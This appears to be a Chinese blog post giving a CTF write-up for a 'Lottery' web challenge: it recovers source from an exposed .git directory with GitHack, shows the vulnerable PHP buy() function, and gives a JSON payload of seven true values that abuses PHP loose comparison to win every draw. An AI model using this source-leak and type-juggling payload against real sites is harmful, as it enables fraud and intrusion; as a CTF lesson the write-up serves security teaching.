Lottery

作者: Yix1a | 来源:发表于2019-05-26 16:39 被阅读0次

解题思路

首先 访问 /robots.txt 或者 /.git/ 发现 Git 仓库可以 GitHack 拿到源码

漏洞在 api.php

function buy($req){ require_registered(); require_min_money(2);

$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
    if($numbers[$i] == $win_numbers[$i]){
        $same_count++;
    }
}

原理

<?php
    $a = 3;
    $b = true;
    if($a==$b){
        echo 1;
    }
?>
输出1

其中 numbers 来自用户json输入 {"action":"buy","numbers":"1122334"},没有检查数据类型。win_numbers 是随机生成的数字字符串。
使用 PHP 弱类型松散比较,以"1"为例,和TRUE,1,"1"相等。 由于 json 支持布尔型数据,因此可以抓包改包,发送:

{"action":"buy","numbers":[true,true,true,true,true,true,true]}

当每一位中奖号码都不是0时即可中最高奖,攒钱买flag。

相关文章

  • 流利说 L5-U3 P3 Dialogue

    ——Winning a lottery—— Guess what? I just won the lottery,...

  • 英语流利说 Level5 Unit3 Part3 Dialogu

    Winning a Lottery Guess what, I've just won the lottery, ...

  • Lottery

    解题思路 原理 其中 win_numbers 是随机生成的数字字符串。使用 PHP 弱类型松散比较,以"1"为例,...

  • kk

    q3lottery_option=true

  • kor3

    q3lottery_option=true

  • Draw the lottery

    抽奖是一件好事情。等待这个的时候。 尤其是,我又是最后一个成为这个获得奖品的人的时候。 High emotiona...

  • lottery复述

    出现了很严重的口误:把几百万说成了几百亿。 语气不够自信,总是感觉有点犹豫。 落了一段:人的四种情绪的变化是不会超...

  • 抽奖 - The Lottery

    《抽奖》(The Lottery) 是美国女作家雪莉·杰克逊(Shirley Jackson)在1948年发表在《...

  • Day54:)lottery,to stabilize shan

    Lottery system was introduced in shanghai for sales of re...

  • Will winning the lottery make yo

    Will winning the lottery make you happier? Imagine winn...

网友评论

      本文标题:Lottery

      本文链接:https://www.haomeiwen.com/subject/xvhftctx.html